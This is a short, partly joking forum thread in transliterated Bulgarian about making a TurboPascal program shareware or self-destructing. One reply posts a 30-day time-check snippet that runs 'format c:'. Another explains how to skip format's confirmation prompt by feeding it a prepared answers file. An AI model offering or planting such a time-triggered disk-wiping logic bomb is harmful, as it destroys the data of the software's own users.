shareware na TurboPascal

kak da si naprawq programa, koqto sym napisalo na TurboPascal , da byde shareware, ili daa prekratqwa da raboti sled opredeleno wreme, ili naj-dobre - da se samounishtojawa?

imashe nekvi paketi za taia rabota ama az te savetvam da ia napravish freeware ili adware - za shareware, osobeno samounishtojavasht se samo psuvni she si navlechesh ot bednite useri
ako programata ne ti e neshto naistina revoliucionno novo po-dobre da gradish ime s neia otkolkoto samo da ti sedi v arhiva

Ami mnogo prosto - niakade w koda (za predpo4itane w na4aloto) slozi slednoto

{$Define SELFDESTRUCT}
procedure Sharaware;
begin
TimeLimit:=Now - InstallTime;
if TimeLimit>=30 then //predpolaga se sroka e 30 dni - ne zabrawiaj da si zapishesh na tajno miasto koga e startirana programata ;-))
begin
{$ifdef SELFDESTRUCT}
Exec('format c:');
{$elseif}
Halt(255);
{$endif}

end;


Wsi4ki priliki s dejstwitelni algritmi (wklu4aia takiwa na Pascal) sa slu4ajni !!!!


---
Е т'ва е живот!

Choweka ti gowori za TurboPascal pa ti pastwash kod na Delphi
i izobshto samo mu mytish glawata na choweka.....
s toq format c: sha se stigne samo do prompta za "sigurni li sme?" prawi se s puskane na komanden interpretator kato whoda se prenasochwa ot predwaritelno podgotwen fajl s prawilnite otgowori :)) e moje i sam da si prenasochish whoda ama ... taka e po-lesno :))